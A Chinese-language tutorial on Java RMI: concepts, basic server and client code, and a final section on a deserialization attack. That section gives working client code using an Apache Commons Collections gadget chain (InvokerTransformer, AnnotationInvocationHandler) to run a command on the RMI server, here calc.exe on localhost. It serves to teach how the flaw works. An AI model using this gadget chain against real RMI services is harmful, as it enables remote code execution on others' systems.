Java RMI

概念

RMI(RemoteMethodInvocation,远程方法调用)在JDK1.2中实现,大大增强了Java开发分布式应用的能力。

Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。

  • JRMP:JavaRemoteMessageProtocol,Java远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
  • JNDI:Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

RMI作用

RMI允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

不同于socket,RMI中分为三大部分:Server、Client、Registry

1
2
3
Server:  提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI基础运用

前面说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口。

定义远程接口

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Rmidemo extends Remote {
public String hello(String name, int age) throws RemoteException;
}

在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常。

编写远程接口实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements Rmidemo {

protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法执行");
}

public String hello(String name, int age) throws RemoteException {
System.out.println("远程方法被调用");
String msg = "hello," + name + "," + age;
return msg;
}
}

在编写该实现类中需要将该类继承UnicastRemoteObject

创建服务器实例

并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException {
Rmidemo hello = new RemoteHelloWorld();// 创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);// 创建注册表
registry.rebind("hello", hello);// 将远程对象注册到注册表里面,并且设置值为hello
System.out.println("注册完毕");
}
}

编写客户端

并且调用远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException,NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);// 获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
Rmidemo hello = (Rmidemo) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello("张三", 18));
}
}

需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。

RMI 反序列化攻击

需要使用到RM进行反序列化攻击需要两个条件:

  • 接收Object类型的参数
  • RMI的服务端存在执行命令利用链

这里对上面得代码做一个简单的改写。

远程接口代码

1
2
3
4
5
6
7
8
9
10
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public String hello(String hello) throws RemoteException;

void work(Object obj) throws RemoteException;

void say() throws RemoteException;
}

定义一个object类型的参数方法。

远程接口实现类代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}

protected UserImpl(int port) throws RemoteException {
super(port);
}

protected UserImpl(int port, RMIClientSocketFactory csf,
RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}

public String hello(String hello) throws RemoteException {
return "hello";
}

public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
}

public void say() throws RemoteException {
System.out.println("say");
}
}

Server代码

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user", user);
System.out.println("rmi running....");
}
}

Client代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class Client {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}

public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "calc.exe" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "justxzm");
Map transformedMap = TransformedMap.decorate(map, null,
transformerChain);

Class cl = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}

执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器

原因:RMI在传输数据的时候,会被序列化,传输序列化后的数据,在传输完成后再进行反序列化。那么如果传输一个恶意的序列化数据就会进行反序列化的命令执行。

0%